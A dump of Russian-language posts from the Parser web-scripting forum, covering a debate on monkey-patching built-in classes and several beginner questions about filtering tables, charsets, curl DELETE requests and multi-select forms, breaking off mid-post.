"81896","[quote]На входе - \"код\", на выходе строка. :)\
Из чего-то строка. :)\
Из строки код. :)[/quote]\
\
Не путайте еще больше, кто-нибудь прочтет и сойдет с ума, пытаясь понять в каком месте тут код )))\
\
[quote]Часть вызовов выше можно воспринимать как конструкторы строки, но в целом думаю так \"исторически сложилось\". :([/quote]\
\
Может это всё как то можно причесать? Ведь можно же добавить методы, которые будут линками к этим функциям? \
В принципе все равно куда причесывать, главное чтобы система какая то была однозначная. \"Исторически сложившиеся\" методы можно оставить как deprecated, но не убирать для совместимости\
\
[quote]^tbl.json[]\
А так раньше вообще нельзя было сделать, если у кого-то из базы доставалось поле json, доступ к нему полю пропал бы. \
[/quote]\
У table много методов, все уже привыкли к такому поведению, что не надо колонку в таблице menu называть.\
\
[quote]И не забывайте, что у ^json:string[] еще мириады опций, их же надо поддерживать и описывать.[/quote]\
Внутри парсера это может быть одной функцией, как Алексей написал.\
\
P.S. Жаль, что в парсере нет возможности свои методы системным классам добавлять, можно было бы свой .json[] добавить"
"81897","[quote]В принципе все равно куда причесывать, главное чтобы система какая то была однозначная. [/quote]\
\
Ну, если кто-нибудь сверстает наглядную карту всех классов, их статических и динамических методов с типами параметров/результата и там же покажет, как это все правильно изменить - мы будем только за и в случае одобрения сообществом реализуем. Лично мне эта задача не очень интересна.\
\
[quote]У table много методов, все уже привыкли к такому поведению, что не надо колонку в таблице menu называть.[/quote]\
\
У кого-то уже могла быть колонка json, и этот код бы в итоге поломался. Впрочем, как раз в 3.4.4 эта \"вечная\" проблема решена. :)\
\
[quote]P.S. Жаль, что в парсере нет возможности свои методы системным классам добавлять, можно было бы свой .json[] добавить[/quote]\
\
Недавно обсуждалось здесь: http://www.parser.ru/forum/?id=81708 Интересующихся было немного. :)"
"81898","[quote]Недавно обсуждалось здесь: http://www.parser.ru/forum/?id=81708 Интересующихся было немного.[/quote]\
\
Интересующиеся есть!\
Только им (нам) затруднительно опробовать такую возможность.\
И неясно будет она хотя бы в рамках эксперимента или нет, и старый запрет PAFа в силе."
"81899","Но каждый раз когда тема об этом заходит - всё заканчивается позицией PAF'а, озвученной им еще в 2005 году - http://www.parser.ru/forum/?id=47942, а может и раньше"
"81900","... добавление методов в системные классы (манкипатчинг) делать не стоит. Это и по логике ужасно и при отладке доставит кучу проблем.\
\
Наследование от системных динамических классов штука полезная."
"81902","Но его недостаток в том, что нельзя будет получить из нативного метода пользовательский класс, а значит оно принципиально не улучшит текущей ситуации, когда можно сделать какую угодно обёртку вокруг нативного класса.\
\
Патчинг хоть и не красив, но в этом плане гораздо лучше."
"81903","Наследование улучшит ситуацию — не понадобится реализовывать весь интерфейс базового класса. Т.е. если мы хотим добавить свои методы в table, то будет примерно так:\
\
[code]\
@CLASS\
MyTable\
\
@BASE\
table\
\
@json[options]\
  $result[^json:string[$self;$options]] \
\
@print[]\
  $result[^self.csv-string[]]\
\
\
и используем:\
\
$t[^myTable::create{...}]\
^t.json[$.indent(true)]\
[/code]\
\
Очень коротко и понятно. При этом не будет никаких проблем если две библиотеки захотят добавить в системный класс метод с одним названием, но с разным результатом и параметрами."
"81904","[quote]Покажи пример для «получить из нативного метода пользовательский класс»[/quote]\
\
Условно.\
[code]$x(5)\
$x.CLASS_NAME\
> MyDouble[/code]\
\
На деле, конечно, там будет всё тот же нативный double, но с моими методами и свойствами.\
\
Нет, плохой пример.\
Лучше так:\
[code]$hash[$.1[]]\
$keys[^hash.keys[]]\
$keys.CLASS_NAME\
\
> MyTable[/code]\
\
[quote]Наследование улучшит ситуацию — не понадобится реализовывать весь интерфейс базового класса. Т.е. если мы хотим добавить свои методы в table, то будет примерно так:\
@CLASS\
MyTable\
\
@BASE\
table\
\
@json[options]\
  $result[^json:string[$self;$options]] \
Очень коротко и понятно.[/quote]\
\
Ну, не сильно проще того, что можно сделать сейчас:\
[code]@CLASS\
MyTable\
\
@create[data]\
$self.data[^table::create{$data}]\
\
@GET[table]\
$result[$self.data]\
\
@json[options]\
  $result[^json:string[$self;$options]][/code]\
\
На интерфейсе — да, экономия."
"81905","Ты в любом случае не сможешь переопределить CLASS_NAME."
"81906","... надо еще все варианты конструкторов переопределить и статические методы. Для многих встроенных классов это муторная и нетривиальная задача."
"81907","[code]Ты в любом случае не сможешь переопределить CLASS_NAME.[/code]\
\
Я не хочу его переопределять.\
Я хочу, чтобы нативный код возвращал объект «модифицированного класса».\
Либо это мой класс, отнаследованный от нативного (но неясно как нативный код его вернёт), либо это пропатченный нативный класс, с моими методами."
"81908","[quote]На интерфейсе — да, экономия.[/quote]"
"81909","Ты то может и готов, что метод вернет объект другого класса, а вот PF вполне имеет право ожидать там именно hash и сломается так, что тебе мало не покажется при отладке.\
\
С наследованием такой проблемы нет — твой класс будет использовать только твой код, который готов к новому интерфейсу."
"81910","[quote]Ты то может и готов, что метод вернет объект другого класса, а вот PF вполне имеет право ожидать там именно hash и сломается так, что тебе мало не покажется при отладке.[/quote]\
\
Если не рассматривать крайние случаи, вернётся класс с расширенным, но совместимым интерфейсом.\
Допустим, как в примере выше хешу добавили метод .json[].\
\
Да, патчинг штука специфическая, требует вдумчивого применения.\
Не очень надёжная в случае изменений в нативном классе и требующая поддержки.\
Но очень мощная.\
\
[quote]С наследованием такой проблемы нет — твой класс будет использовать только твой код, который готов к новому интерфейсу.[/quote]\
\
От наследования проку — только экономия на реализации интерфейса."
"81911","И вред от патчинга базовых классов может быть огромным, поэтому ПАФ его и запретил. Более того, ему не нравился и патчинг других классов — http://www.parser.ru/forum/?id=47942. И это вполне разумно.\
\
Мои эксперименты показывают, что удобно и относительно безопасно патчить конкретные объекты, но не классы. Если взять аналогию из жизни, то класс — это образец договора, который мы никогда не меняем, а вот добавить или убрать какой-то пункт в конкретном договоре на основе образца мы можем."
"81912","Что я могу сказать.\
\
Для языка, который «немного сложнее HTML, но не требует особенного умения программировать» — это, наверное, страшная штука.\
Давать которую не стоит, несмотря на возможности.\
\
Разрешать модификацию только объектов — на мой взгляд полумеры."
"81913","------------------ CUT ----------------------\
\
[quote]Вот интересно, твоя позиция по добавлению методов в системные классы не поменялась за 10 лет? :)\
[/quote]\
\
Поменялась. В groovy надобавляли и нормально воспринимается код. Просто привыкаешь жить в этом контексте и нет проблем.\
\
Кажется, там какой-то низкий заборчик в коде был и несложно его разобрать ;-)\
\
------------------ CUT ----------------------"
"81914","Пусть заходит к нам на огонёк!\
Авторитетно поучаствовать в дискуссиях, опять же."
"81915","Почему выдает ошибку... \
Лог\
[code].... \
auto.p(269:50): '04' invalid number (double) [number.format][/code]"
"81916","Извините за глупый вопрос, а как обновить 3.4.3 на 3.4.4. просто перезаписать какие -то файлы?"
"81917","В школе много классов:\
Пусть к файлу cfg с учениками 11 А класса находится в директории [b]/school/11a/people.cfg[/b]\
Пусть к файлу cfg с учениками 11 Б класса находится в директории [b]/school/11b/people.cfg[/b]\
Пусть к файлу cfg с учениками 10 А класса находится в директории [b]/school/10a/people.cfg[/b]\
Пусть к файлу cfg с учениками 10 Б класса находится в директории [b]/school/10b/people.cfg[/b]\
и т.д.\
\
Файл [i]people.cfg[/i]\
[code]YesNo	name	uri	dezhur	photo\
Yes	Иванов	/11a/ivanov/	5	/11a/ivanov/img.jpg\
Yes	Петров	/11a/petrov/	2	/11a/petrov/img.jpg\
no	Сидаров	/11a/sidarov/	 	/11a/sidarov/img.jpg\
no	Волков	/11a/volkov/	1	/11a/volkov/img.jpg\
Yes	Михаева	/11a/miheeva/	2	/11a/miheeva/img.jpg[/code]\
       \
Где, [b]Yes[/b] - хорошист, [b]no[/b] — троечник\
        \
Чтобы вывести всех учеников в необходимом месте, я использую метод:\
[code]@klass_sk_[name_klass][result;sections]\
$sections[^table::load[/school/${name_klass}/people.cfg]]\
^sections.menu{^klass_sk_cell[$sections]}\
\
@klass_sk_cell[sections]\
^if(!def $sections.uri){\
<p><span>$sections.name</span></p>}($sections.uri eq $request:uri){\
<p><span>$sections.name</span></p>}{\
<p><span><a href=\"$sections.uri\">$sections.name</a></span></p>}[/code]\
\
Соответственно вывожу сам список учеников:\
[code]^klass_sk_[11a]\
^klass_sk_[11b]\
^klass_sk_[10a]\
^klass_sk_[10b][/code]\
\
\
Теперь, мне необходимо вывести только хорошистов т.е. вывести всех учеников из столбца YesNo, которые содержат данные Yes. Я пытаюсь их вывести методом который ниже, но что-то не получается (я подозреваю, что косяк где-то в sections)\
\
[code]@klass_sk_[name_klass][result;sections]\
$sections[^table::load[/school/${name_klass}/people.cfg]]\
$sectionsYesNO[^sections.select($sections.YesNo==Yes)]\
^sectionsYesNO.menu{^klass_sk_cell[$sections]}\
\
@klass_sk_cell[sections]\
^if(!def $sections.uri){\
<p><span>$sections.name</span></p>}($sections.uri eq $request:uri){\
<p><span>$sections.name</span></p>}{\
<p><span><a href=\"$sections.uri\">$sections.name</a></span></p>}[/code]\
\
\
Подскажите пожалуйста как мне вывести хорошистов, 11А, 11Б, 10А, 10Б? \
\
\
P.S. Выдает ошибку \
[code].......auto.p(272:50): 'Yes' invalid number (double) [number.format].......[/code]\
Строка 272 содержит данные: \
[code]$sectionsYesNo[^sections.select($sections.YesNo==Yes)]"
"81920","Ошибка исправлена, за что большое спасибо.\
\
Теперь он выводит данные 1 строки 3 раза\
\
Иванов\
Иванов\
Иванов\
\
Если в файл cfg добавляю еще один Yes к примеру к Волкову, то выводится 4 Иванова, если в файле к 2 строкам добавить Yes, то будет 2 Иванова (т.е. 2 раза первая строка)\
В общем есть закономерность выводятся данные первой строки, и сколько в столбце yes столько раз данные повторяются."
"81921","Люблю в разных языках присвоения через ИЛИ, когда переменной присваивается первый определённый аргумент цепочки.\
Что правильно зовётся [url=https://en.wikipedia.org/wiki/Short-circuit_evaluation]укороченной оценкой выражений[/url].\
\
JS:\
[code]var test = another_var || 1;[/code]\
\
Python:\
[code]test = another_var or 1[/code]\
\
Для Парсера набросал простой оператор:\
[code]@firstDefined[*items][locals]\
$result[]\
\
^items.foreach[;item]{\
	^if($item is string){\
		$item[^item.trim[]]\
	}\
\
	^if(def $item){\
		$result[$item]\
\
		^break[]\
	}\
}[/code]\
\
[code]$var[^firstDefined[$another_var;1]][/code]\
\
А тут подумалось, ведь сейчас есть свободный синтаксис для такого на уровне языка:\
[code]$var[$another_var;1;…][/code]\
И более сложные варианты с разными типами переменных и даже junction.\
\
Что скажут аксакалы?\
Быть может, будет удобно?"
"81922","В этой строке вы перебираете одну таблицу, но внутри передаете параметром полную таблицу каждый раз. В методе @klass_sk_cell у вас идет работа с первой строкой $sections, она то не менюшится нигде.\
\
По простому вам надо передать в метод текущую строку, например так:\
\
[code]^sectionsYesNO.menu{^klass_sk_cell[$sectionsYesNO.fields]}[/code]\
\
Почему вы не хотите использовать SQL? Ваши задачи очень скоро станут плохо реализуемыми на текстовых файликах"
"81923","Я хочу научиться работать с SQL,  но боюсь будет кране неудобно, все время заносить в базу данных, а админку сразу сделать ума пока не хватит. Есть какой нибудь готовый вариант админкы?)\
\
Спасибо за решение выше!"
"81924","... поэтому правила проверки определена переменная или нет задаёт программист. И def и даже \"is void\" нам не подходит потому что \"пустая строка\" — это тоже значение, которое далеко не всегда надо игнорировать.\
\
Кроме того, синтаксис $var[...;...;...;...] хорошо бы оставить для списков (массивов), которые в языке будут гораздо полезнее, чем встроенный coalesce. Хотя он и не совсем подходит, если у нам надо создать список из одного элемента. :)\
\
p.s. Себе сделал метод ifdef:\
\
[code]\
@ifdef[aValue;aDefaultValue]\
## Возвращает значение aValue, если переменная определена или возвращает aDefaultValue.\
## Лучше передавать значение по-умолчанию как код:\
## ^ifdef[value]{default}\
## ^ifdef[value](expression)\
  $result[^if(def $aValue){$aValue}{$aDefaultValue}]\
[/code]"
"81925","[code]@klass_sk_[name_klass][result;sections]\
$sections[^table::load[/school/${name_klass}/people.cfg]]\
$sectionsYesNO[^sections.select($sections.YesNo eq Yes)]\
^sectionsYesNO.menu{^klass_sk_cell[$sectionsYesNO.fields]}\
\
@klass_sk_cell[sectionsYesNO.fields]\
^if(!def $sections.uri){\
<p><span>$sections.name</span></p>}($sections.uri eq $request:uri){\
<p><span>$sections.name</span></p>}{\
<p><span><a href=\"$sections.uri\">$sections.name</a></span></p>}[/code]\
\
Выдает ошибку в с троке \
[code]^sectionsYesNO.menu{^klass_sk_cell[$sectionsYesNO.fields]}[/code]\
\
Лог: \
[code]/auto.p(273:16): 'menu' undefined method [parser.runtime][/code]"
"81926","[code]\
@klass_sk_[name_klass][sections]\
  $sections[^load_klass[$name_klass]]\
  $sections[^sections.select($sections.YesNo eq \"Yes\")]\
  ^sections.menu{^klass_sk_cell[$sections.fields]}\
\
@klass_sk_cell[section]\
  ^if(!def $section.uri){\
    <p><span>$section.name</span></p>\
  }($section.uri eq $request:uri){\
    <p><span>$section.name</span></p>\
  }{\
    <p><span><a href=\"$section.uri\">$section.name</a></span></p>\
   }\
\
@load_klass[name_klass]\
  $result[^table::load[/school/${name_klass}/people.cfg]]\
[/code]"
"81927","Код так лучше читается (чем у меня). \
\
P.s. Буду так же грамотно код составлять."
"81930","Нельзя ли добавить оператору use возможность указать кодировку файла, аналогично file::load etc?\
\
upd. можно ли безболезненно заменять ^use[] на ^file::load[] + ^process[] или есть подводные камни?"
"81932","[quote]Нельзя ли добавить оператору use возможность указать кодировку файла, аналогично file::load etc?[/quote]\
\
Сделать-то можно, но мне кажется не стоит поощрять неправильные желания. :)\
\
[quote]или есть подводные камни?[/quote]\
\
Нет, подводных камней нет."
"81933","Имхо, возможность дополнять системные классы своими методами - это было бы очень удобно. Кстати каких то конкретных недостатков никто не привел"
"81934","Это не столько желание, сколько необходимость. Есть классы в win которые нужно загрузить, но перекодировать их в utf нет возможности, потому как они используются в других местах. Можно конечно сделать перекодированную копию и использовать ее, но это порождает еще больший зоопарк. А цель то обратная."
"81935","Очевидно надо использовать одну кодировку. Либо остаться на Windows-1251, либо перекодировать все в UTF-8..."
"81936","Я знаю, но как это сделать? Изначально в системе вопрос кодировок вообще не был продуман, что то работает в win, что то в utf. Плюс есть межсерверное взаимодействие в разных кодировках. Я это всё хочу причесать в одну кодировку (utf). Тупо всё перекодировать iconv нельзя - есть масса критических мест 24/7. Поэтому пытаюсь это сделать итеративно по кусочкам, для этого и нужен charset в use."
"81937","[quote]Плюс есть межсерверное взаимодействие в разных кодировках.[/quote]\
\
Если там выдается кодировка, то со стороны парсера взаимодействие никак не пострадает. При выдаче наружу вероятно потребуется сохранить старую кодировку, но в общем никто от вас не требует менять $response:charset.\
\
[quote]Тупо всё перекодировать iconv нельзя - есть масса критических мест 24/7. Поэтому пытаюсь это сделать итеративно по кусочкам, для этого и нужен charset в use.[/quote]\
\
Условно mv classes classes.cp1251; mv classes.utf8 classes - вполне атомарная операция + возможно старый кеш надо убрать, если у вас используется кеширование. Понятно, что classes.utf8 это \"не тупо перекодированный iconv\" код, а код, предварительно протестированный.\
\
Опять же откатиться обратно при необходимости - вопрос секунд."
"81938","[quote]можно ли безболезненно заменять ^use[] на ^file::load[] + ^process[] или есть подводные камни?[/quote]\
\
Разница в исключении при повторной загрузке у use.\
Но вряд ли это критично в применении."
"81939","Возможность добавить своим методы или поменять поведение встроенных классов в динамических языках называют monkey patching (манкипатчинг). Достоинства и недостатки манкипатчинга в интернете обсуждают регулярно.\
\
Мне в манкипатчинге не нравятся две вещи:\
— У объектов есть поведение (интерефейс). Фактически это жесткий контракт, который жестко фиксирует свойства объекта. Любой, кто взаимодействует с объектом должен иметь гарантию, что контракт не поменяется в процессе взаимодействия с объектом. Манкипатчинг нарушает нарушает контракт и придает объекту свойства, которых у него не было. С точки зрения ООП-подхода это плохо.\
— Допустим, что мы разрешили нарушать контракт. Тогда возникает вопрос: что нам делать, если два объекта добавили в системный класс метод с одним и тем же именем, но с разным интерфейсом (входными и выходными параметрами или логикой получения результата). Мы сразу получили некорректную работу одного из объектов, потому что интерфейс не тот, который он ожидает. Отлаживать такие проблемы будет крайне сложно: понять кто и в каком порядке напихал методы в системные классы та еще задачка.\
\
В итоге. Польза от такой штуки сомнительна, а проблем масса. И привычка (как пишет ПАФ) проблемы с отладкой не решит."
"81940","... обсуждали синтаксис для массивов/списков — http://www.parser.ru/forum/?id=66020\
\
Список — это фундаментальный тип для которого важна производительность и хочется иметь синтаксический сахар на уровне языка. Понятно, что сейчас и на хешах все это делается, но хочется без оверхеда."
"81941","Я не знаю, что вы делаете, но у меня код сработал и вывел все. Пример:\
\
[code]@11a_cell[][sections]\
\
# 1. загружаете всю таблицу\
$sections[^table::create{id	name	uri	dezhur	photo\
03	Иванов	/11a/ivanov/	5	/11a/ivanov/img.jpg\
04	Петров	/11a/petrov/	2	/11a/petrov/img.jpg\
03	Сидаров	/11a/sidarov/	 	/11a/sidarov/img.jpg\
05	Волков	/11a/volkov/	1	/11a/volkov/img.jpg\
04	Михаева	/11a/miheeva/	2	/11a/miheeva/img.jpg}]\
\
# 2. получаете *новую* таблицу $sectionsOnlyFour , в которой уже будут *только* хорошисты:\
$sectionsOnlyFour[^sections.select($sections.id==04)]\
\
# 3. тут перебираете уже новую таблицу, выводите через .menu:\
^sectionsOnlyFour.menu{\
<p> Name: </p>$sectionsOnlyFour.name <b>Uri $sectionsOnlyFour.uri</b><p/>\
}\
\
^11a_cell[][/code]\
\
Вывод в HTML:\
\
[code]\
<p> Name: </p>РџРµС‚СЂРѕРІ <b>Uri /11a/petrov/</b><p/>\
\
Хотя можете попробовать eq \"04\" вместо ==04, он тоже работает\
<p> Name: </p>РњРёС…Р°РµРІР° <b>Uri /11a/miheeva/</b><p/>[/code]"
"81942","Можно дать возможность дополнять системные классы своими методами, но не переопределять уже существующие (включая пользовательские), отваливаясь с ошибкой. И всех перечисленных проблем не будет. Хотя опять же мне кажется это всё несколько надуманным. Возможно в каких то грандиозных проектах с несколькими программистами, которые почему то не смогли придти к соглашениям по написанию кода - это скажется... может быть. Но при таком раскладе они могут и по другим вещам не договориться, писать например каждый свои классы с одинаковыми именами и разными интерфейсами. Да вообще наворотить можно много.\
\
У контрактов бывают доп. соглашения, к слову. Чем \"доп.соглашение\" метод ^hash.json[] написанный разработчиком и задокументировнный в своём проекте помешает кому либо жить или отлаживаться - непонятно."
"81943","...в системный класс, но с разным интерефейсом. Тут же огребаем проблему.\
\
Если мы фиксируем, что комьюнити Парсера остается пассивным и не открывает свои библиотеки, то все нормально — в одном проекте действительно можно договориться или покрыть матом коллегу. \
\
Но мне хочется верить в хорошее и надеяться, что библиотек станет больше и тогда нам очень важно сделать их совместимыми. Манкипатчинг совместимости не помощник. :)"
"81944","Библиотеки и без патчинга будут несовместимы, в том числе между собой.\
Это же не вопрос возможностей языка, а вопрос качества библиотек."
"81945","Манкипатчинг — это грубое пересечение пространства имен. Да еще и на территории, не относящейся к библиотеке. Не стоит забывать, что Парсеровские классы — это не элементы языка, а часть стандартной библиотеки языка. Поэтому любой пользовательский класс будет внешней библиотекой по отношению к системным классам.\
\
Понятно, что можно писать библиотеки, которые вторгаются и в стандартную библиотеку, как сделано в Ruby on Rails. Только мне такой подход не нравится. :)"
"81946","Вопрос, как я считаю, в другой плоскости: допустимо ли давать сообществу мощный, но неоднозначный и, в некоторой степени, опасный инструмент.\
\
Если исходить из того, что сообщество неразумно и инструментом выстрелит себе в ногу, то не стоит, если же из того, что это — такой же инструмент, как и остальные — стоит.\
\
Остаётся решить насколько разумно и самостоятельно сообщество.\
Нужно ли огораживать всё заборами и замками, или надеяться на сознательность."
"81948","[quote]* Исправлена ошибка, приводившая к неполной смене языковых переменных при установке mysql соединения с параметром ?charset.[/quote]\
Вылезало если дефолтная кодировка сервера отличалась от запрашиваемой."
"81949","[quote]— У объектов есть поведение (интерефейс). Фактически это жесткий контракт, который жестко фиксирует свойства объекта. Любой, кто взаимодействует с объектом должен иметь гарантию, что контракт не поменяется в процессе взаимодействия с объектом. Манкипатчинг нарушает нарушает контракт и придает объекту свойства, которых у него не было. С точки зрения ООП-подхода это плохо.[/quote]\
\
Плохо.\
Но интерфейс пользовательских объектов может меняться совершенно сводобно хоть после каждого вызова.\
\
Вызывало ли это проблемы хоть раз?\
Думаю, нет.\
\
[quote]— Допустим, что мы разрешили нарушать контракт. Тогда возникает вопрос: что нам делать, если два объекта добавили в системный класс метод с одним и тем же именем, но с разным интерфейсом (входными и выходными параметрами или логикой получения результата). Мы сразу получили некорректную работу одного из объектов, потому что интерфейс не тот, который он ожидает. Отлаживать такие проблемы будет крайне сложно: понять кто и в каком порядке напихал методы в системные классы та еще задачка.[/quote]\
\
Да, многократное изменение может быть проблемой.\
Её можно решить, к примеру:\
1. запретом многократной модификации: меняешь — меняй единожды;\
2. возможностью через reflection выяснить были ли изменения.\
\
С учётом того, что при патчинге широко распространена практика предварительной проверки окружения, это опять же не должно стать проблемой.\
\
\
Лично я не вижу альтернатив патчингу в задаче, когда необходимо расширить интерфейс класса или объекта.\
Вот хочу я иметь метод in у каждого объекта.\
Для массивов он проверяет наличие элемента, для строк и чисел — наличие подстроки, и так далее.\
Метод удобный и с точки зрения главенства интерфейса над классом правильный — я буду работать через метод с объектом, не обращая внимания на его класс.\
\
Даже если будет возможность наследования от нативных классов, я не получу желаемого результата.\
Исключительно в случае замены всех нативных методов, возвращающих нативные типы своими наследниками и своими типами.\
\
Задача мне кажется вполне разумной, а инструмента кроме патчинга для ей решения нет.\
Возможно я ошибаюсь."
"81950","Одна функция с простым свитчом и пару is'ов."
"81951","Но мы же за ООП и за мир во всём мире!\
Хочется, чтобы это был не набор из нескольких сотен операторов, а логичная (в идеале) структура методов соответствующих классов."
"81952","... Организации Освобождения Палестины. \
\
Разница между нашими вариантами только в записи. А вот, что метод in нарушает принцип инкапсуляции спору нет. Поэтому такие вещи во внешней функции выгллядит логичнее. :)\
\
P.s. Предлагаю закрыть обсуждение и подождать решение Кости."
"81953","[code]$list[ \
    $:[element 0] \
    $:[element 1]\
    $:[element 2]\
    $:[element 3]\
][/code]\
Выглядит ужасно на мой взгляд. Я так понимаю это все равно конструктор,  ведь list должен тут стать объектом? Тогда не очень понятно зачем добавлять новый синтаксис в итак непростой синтаксис парсера, а не сделать единообразно с другими классами с явным конструктором create.\
\
И как предполагается создавать список из данных? Ну например если есть строка $list[a,b,c,d] - ^list.split[,] + foreach с генерацией вот этой конструкции $:, вместо ^array::create[$list][$.separator[,]]? \
\
Лично я считаю что списки вообще не нужны, но если уж делать то в духе парсера ;))"
"81954","Тем более в версии семилетней давности. Сейчас я бы сделал несколько иначе."
"81955","Хеш же теперь полностью покрывает его задачи."
"81956","Вопрос не праздный, уже накатали кучу кода на ночных сборках.\
\
Который потом конечно лучше переписать местами, где появились улучшения.\
\
Но вопрос - не поламается ли наш код, после замены Парсера новой версии, особенно в той части, где работа с полями классов:\
\
$response: $request: $env: \
\
там вроде поменялось именование, оставлена ли полная обратная совместимость или придется что-то проследить?\
\
Такие вещи, как js-unescape, теперь tainted - не критичны, т.к. мы \"пачкали\" принудительно, после апдейта останется только лишнее пачкание, но код не сломается.\
\
А вот остальные моменты, хотелось бы обсудить."
"81957","Т.е. вы расскажите поломалось что-нибудь или нет. У меня на проектах ничего не поломалось."
"81958","Лог ошибки\
\
'sql' is 'junction', it has no string representation [parser.runtime]\
\
Включил вывод ошибок.\
\
sql\
\
is 'junction', it has no string representation\
/home/sliderobe/web/sliderobe.ru/public_html/classes/sql/sql.p(112:63)\
sql_code	/home/sliderobe/web/sliderobe.ru/public_html/classes/sql/sql.p(260:10)\
if	/home/sliderobe/web/sliderobe.ru/public_html/classes/sql/sql.p(242:2)\
_sql	/home/sliderobe/web/sliderobe.ru/public_html/classes/sql/sql.p(112:26)\
switch	/home/sliderobe/web/sliderobe.ru/public_html/classes/sql/sql.p(104:10)\
code	/home/sliderobe/web/sliderobe.ru/public_html/classes/lib.p(461:18)\
if	/home/sliderobe/web/sliderobe.ru/public_html/classes/lib.p(437:2)\
run_time	/home/sliderobe/web/sliderobe.ru/public_html/classes/sql/sql.p(103:2)\
sql	/home/sliderobe/web/sliderobe.ru/public_html/admin/auto.p(479:34)\
page_title	/home/sliderobe/web/sliderobe.ru/public_html/admin/auto.p(48:9)\
body	/home/sliderobe/web/sliderobe.ru/public_html/classes/sql/sql.p(72:28)\
connect	/home/sliderobe/web/sliderobe.ru/public_html/classes/sql/sql.p(72:2)\
server	/home/sliderobe/web/sliderobe.ru/public_html/admin/auto.p(41:14)\
\
Помогите пожалуйста. В чем может быть проблема?"
"81960","Соответственно при попытке поставить верхней границей число \
2 трл., получаю ошибку:\
\
top(2e+12) must be [1..4294967295]\
\
ясно, что можно ручками сгенерить из меньших чисел\
и получить какой-то float вида 0.191381938913113\
и потом умножить на верхнюю границу.\
\
Но почти каждый раз что ни возьми приходится самому костылить, что операции со стрингами, вставками в хеш, и прочее."
"81961","Где-то в качестве текста запроса передаётся имя метода, а не строка.\
Район поисков:\
[quote]sql	/home/sliderobe/web/sliderobe.ru/public_html/admin/auto.p(479:34)\
page_title	/home/sliderobe/web/sliderobe.ru/public_html/admin/auto.p(48:9)[/quote]\
\
По аналогии с http://www.parser.ru/forum/?id=79653."
"81962","Искал на форуме и в документации, но не смог найти, как сделать HTTP-запрос методом DELETE. Мне это нужно для того чтобы удалять записи через API Facebook. Класс Curl предоставляет опции для передачи запросов методами POST и GET, но не DELETE. Может быть я не внимательно искал? Помогите пожалуйста решить проблему. Может быть стоит добавить такую возможность в новую версию парсера? Всё-таки фейсбуком пользуется полтора миллиарда человек, и ещё многим кроме меня пригодится опция httpdelete(1) в Curl."
"81963","http://curl.haxx.se/libcurl/c/CURLOPT_CUSTOMREQUEST.html\
\
[code]\
  $f[^curl:load[\
    $.url[http://ya.ru/]\
    $.verbose(1)\
    $.customrequest[DELETE]\
  ]]\
[/code]\
\
[code]*   Trying 213.180.193.3...\
* Connected to ya.ru (213.180.193.3) port 80 (#0)\
> DELETE / HTTP/1.1\
Host: ya.ru\
Accept: */*[/code]"
"81965","Пишу добавление новости на сайт.\
Есть категории и подкатегории, категорию можно выбрать только одну, а подкатегории можно выбирать хоть все.\
Не работает получение донных их формы если она multiple.\
Ниже код:\
[code]<script>\
function select(s_param){\
	var sSID = s_param.value;\
	var iSID = document.getElementsByClassName('SID');\
	var iHID = document.getElementsByClassName('HID');\
	for (var i = 0; i < iSID.length; i++) {\
		iSID[i].setAttribute('id', 'sid_'+[i]);\
		var vSID = iSID[i].value;\
		var inHID = document.getElementById('hid_'+vSID);\
		var sidHID = inHID.id.substr(4);\
		if (sSID == sidHID) {\
			inHID.setAttribute('style', 'display: block;');\
		} else if (sSID != sidHID) {\
			inHID.setAttribute('style', 'display: none;');\
		}\
	}\
}\
</script>\
$sections[^get.getSections[]]\
<div id=\"addEntry\">\
	<form id=\"addEntryForm\" name=\"addEntryForm\" method=\"POST\" enctype=\"multipart/form-data\" accept-charset=\"UTF-8\">\
		<label><input type=\"checkbox\" name=\"active\" value=\"true\"> Активен</label><br>\
		<select name=\"SID\" required onchange=\"select(this)\">\
			<option disabled>Выберите раздел</option>\
			<option value=\"0\">Верхний уровень</option>\
			^sections.menu{\
				<option value=\"$sections.id\" class=\"SID\">$sections.title</option>\
			}\
		</select>\
		^sections.menu{\
			$heading[^get.getHeadings[$.section_id[$sections.id]]]\
			<select name=\"HID_${sections.id}\" class=\"HID\" id=\"hid_${sections.id}\" required style=\"display:none\" multiple>\
				<option disabled>Выберите рубрику</option>\
				<option value=\"0\">Верхний уровень</option>\
				^heading.menu{\
					<option value=\"$heading.id\">$heading.title</option>\
				}\
			</select>\
		}\
		<input type=\"text\" name=\"position\" placeholder=\"Сортировка\" value=\"100\">\
		<input type=\"text\" name=\"title\" placeholder=\"Заголовок\" required>\
		<input type=\"text\" name=\"link\" placeholder=\"URL адрес\" required>\
		<input type=\"text\" name=\"keywords\" placeholder=\"Ключевые слова\">\
		<textarea name=\"text\" placeholder=\"Текст\" required></textarea>\
		<div id=\"input_files\">\
			<label class=\"fileform\">\
				<span class=\"filebutton\">Выбрать</span>\
				<input type=\"file\" name=\"fileform\" multiple>\
			</label>\
		</div>\
		<input type=\"submit\" name=\"addEntry\" value=\"Опубликовать\">\
	</form>\
</div>\
^if(def $form:title && def $form:link && def $form:text && def $form:addEntry){\
	$rHID[HID_${form:SID}]\
	$subcat_items[$form:tables.[$rHID]]\
	^if($subcat_items){\
		^subcat_items.menu{\
			id = '$subcat_items.field'\
		}\
	}\
}[/code]"
"81966","Для начала посмотрите что вам приходит в form:fields и form:tables  от клиента (^json:string[$form:fields], ^json:string[$form:tables]). А потом напишите, что вы ожидаете получить. :)"
"81967","Я просто урезал запись в БД, там по коду проверка и запись в БД, сейчас как раз ищу способ как записать несколько строк в БД."
"81968","... про то что у вас где-то есть json речи не было. Ответа на вопросы по существу вы так и не написали. Ветку закрываю. :)"
"81969","Приветствую уважаемых участников.\
\
Очень давно не пользовался Parser и вот решил вернуть его в повседневный инструментарий. Есть ли какие-то масштабные новости и изменения, которые следует принять во внимание? Слышал, скоро выходит новая версия, может быть имеет смысл ориентироваться на неё?"
"81971","Если в форме multiple выбираю несколько или одно значение форма не отправляется и значения тоже никакие не получаю.\
[code]@addEntry[]\
<script>\
function select(s_param){\
	var sSID = s_param.value;\
	var iSID = document.getElementsByClassName('SID');\
	var iHID = document.getElementsByClassName('HID');\
	for (var i = 0; i < iSID.length; i++) {\
		iSID[i].setAttribute('id', 'sid_'+[i]);\
		var vSID = iSID[i].value;\
		var inHID = document.getElementById('hid_'+vSID);\
		var sidHID = inHID.id.substr(4);\
		if (sSID == sidHID) {\
			inHID.setAttribute('style', 'display: block;');\
		} else if (sSID != sidHID) {\
			inHID.setAttribute('style', 'display: none;');\
		}\
	}\
}\
</script>\
$sections[^get.getSections[]]\
<div id=\"addEntry\">\
